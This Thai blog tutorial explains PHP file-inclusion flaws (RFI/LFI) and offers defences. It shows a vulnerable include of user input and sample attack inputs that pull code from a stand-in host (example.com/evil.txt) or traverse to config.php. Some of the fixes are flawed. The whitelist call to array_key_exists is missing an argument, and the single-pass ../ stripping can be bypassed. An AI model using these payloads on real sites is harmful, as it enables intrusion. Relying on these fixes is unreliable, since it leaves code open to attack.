ช่องโหว่ RFI(Remote File Inclusion) hacking
RFI(Remote File Inclusion) คือ ช่องโหว่ชนิดนึงที่เปิดทางให้ hacker โจมเว็บไซต์ได้ ด้วยการดึงไฟล์จากข้างนอกเว็บ เข้ามารันในเว็บของคุณ
LFI(Local File Inclusion) คือ ช่องโหว่ชนิดนึงที่เปิดทางให้ hacker ดึงไฟล์อื่นๆที่อยู่ในเว็บไชต์มารัน หรือดู (อาทิเช่น ไฟล์ config หรือไฟล์เก็บ password ต่างๆ)
ทั้งนี้รูรั่วทั้งสองเกิดการความสะเพร่า หรือไม่ใส่ใจในการกรอง input ของตัวผู้เขียนสคริปเอง
ว่ากันไปตามเหตและผล ผลที่เรารู้แล้วแน่ชัดคือข้อมูลรั่วไหล หรือเว็บโดน hack งั้นมาดู สาเหตุกันดีกว่า
สาเหตุที่ทำให้เกิด รูรั่ว RFI / LFI
จริงๆก็เกริ่นไว้ตั้งแต่ตอนต้นล่ะครับว่าเกิดจากความสะเพร่า หรือไม่ใส่ใจของคนเขียนสคริปเอง
ตัวอย่างโค๊ดที่ทำให้เกิดช่องโหว่ RFI และ LFI
view sourceprint?
<? include($_GET['page']);?>
แล้ว hack ก็ป้อน input เข้ามาเป็น index.php?page=http://example.com/evil.txt
เมื่อดูจาก php แล้วก็จะ ตู้มกลายเป็นโกโก้ครั้นกันเลย
วิธีป้องไม่ให้เกิดรูรั่ว RFI / LFI
ก็คือการกรอง input ($_GET,$_POST,$_REQUEST,$_COOKIE) ทุกทางที่ user สามารถส่งมาได้ จริงๆแล้วหลักปฏิบัติที่ดีในการเขียนสคริป ควรจะกรองก่อนทุกครั้งก่อนที่จะนำไปทำอะไรต่อ
ในกรณีนี้ ผมแนะนำว่าให้ กำหนด Array ไฟล์ที่จะ include เข้ามาด้วย key => file จะปลอดที่สุดครับ รูรั่วนี้ก็จะหมดไป
view sourceprint?
$allow = array(
0 => 'page-0.php',
1 => 'page-1.php',
'test' => 'page-test.php',
'sub' => 'sub.php',
);
if(array_key_exists($_GET['page']))
{
include($allow[$_GET['page']]);
}
โดนลิสต์ array แบบนี้ ปัญหาทั้ง RFI และ LFI ก็จะหมดไปครับ
สำหรับไฟล์ปริมาณมาก(กรณีที่ไม่รู้ว่าจะ ดึงไฟล์ไหนเข้ามา) ผมจะใช้ realpath เป็นตัวจัดการ หรือตัด ../ และ ./ ออกเพื่อป้องกัน LFI
วิธีการมีมากมายแล้วแต่จะจิตนาการ หรือตามถนัด หรือตามสตาย์ (กังนัมสตายล์ ไม่เกี่ยวนะ 555) สำหรับใครที่คิดไม่ออก ผมยกตัวอย่างคร่าวๆ สักสองสามวิธีก็แล้วกันครับ
Method 1: str_replace(‘../’,”,$page);
ตัด ../ ออกด้วย
view sourceprint?
$page = urldecode($_GET['page']); //decode ก่อนชั้นนึง
$page = str_replace(array('../','./'),'',$page);
สมมุติ input มาประมาณว่า
view sourceprint?
index.php?page=../../config.php
$page ก็จะเท่ากับ config.php โดนตัด ../ ออกไป
Method 2: realpath
วิธีที่2 ใช้ realpath ซึ่ง realpath จะ แปลง ./ หรือ ../ ให้กลายเป็น absolute path (full path ยาวตั้งแต่ C:/ กรณีวินโดว์)และจะ return false; กลับมาถ้าไฟล์นั้นไม่มีอยู่จริง
view sourceprint?
//สมมติว่า $_GET['page'] = '../../test.php';
$page = realpath($_GET['page']); //แปลงให้เป็น absolute
$incDir = realpath('my-dir'); //แปลงfolder ที่จะ include เป็น absolute
if(empty($page) || strpos($page,$incDir)!==0) //เช็คดูว่าอยู่ในโฟลเดอร์เดียวกันหรือเปล่า
{
die('404'); //stop script
}
include($page);
Method 3: filename
วิธีที่ 3 หั่นเอามาเฉพาะ filename
view sourceprint?
$page = explode('/',$_GET['page']); //หั่น path ออกมาเป็น array
$page = array_pop($page); //เอาเฉพาะ filename *index สุดท้าย
if(file_exists($page))
include($page);
จะเห็นว่าเราสามารถกรองได้หลากหลายวิธีมาก แต่ส่วนใหญ่มักจะขี้เกียจ หรือสะเพร่าไปในบางจุด
ทั้งนี้ต้องดูลักษณะงาน แล้วใช้ให้เหมาะสม จะดีที่สุดครับ
บทความจาก : http://code32bit.blogspot.com